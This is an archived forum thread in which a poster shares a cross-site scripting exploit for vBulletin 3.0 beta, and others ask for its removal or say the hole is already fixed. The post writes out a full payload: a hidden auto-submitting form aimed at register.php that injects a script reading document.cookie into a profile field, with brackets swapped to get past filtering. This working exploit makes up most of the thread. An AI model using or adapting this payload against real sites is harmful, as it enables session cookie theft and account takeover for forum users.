Jusunlee.com Forums (https://www.jusunlee.com/forums/index.php)
- Technology (https://www.jusunlee.com/forums/forumdisplay.php?forumid=28)
-- Vbulletin Exploit (https://www.jusunlee.com/forums/showthread.php?threadid=14729)

Vbulletin Exploit

an attacket can inject html with this:


[form action="http://[victim]/register.php?do=register" method="post"
style="display:none"]
[input type="hidden" name="s" value="" /]
[input type="hidden" name="regtype" value="1" /]
[input type="text" class="bginput" name="field1" value="" size="25"
maxlength="250" /]
[input type="hidden" name="url" value="index.php" /]
[input type="hidden" name="do" value="addmember" /]
[/form]
[script]
//Code that will be executed
var xss = "\"][script]alert(document"+".cookie)[\/script]";
document.forms[0].field1.value=xss;
document.forms[0].submit();
[/script]

*Replace ([],<> )


be careful

__________________

remove this please before people get ideas

quote:

---

Originally posted by kryogenix
remove this please before people get ideas

---

__________________

this is for vB 3.0 beta, anyway

xss injection vulnerabilities has been addressed since vb2.2.9..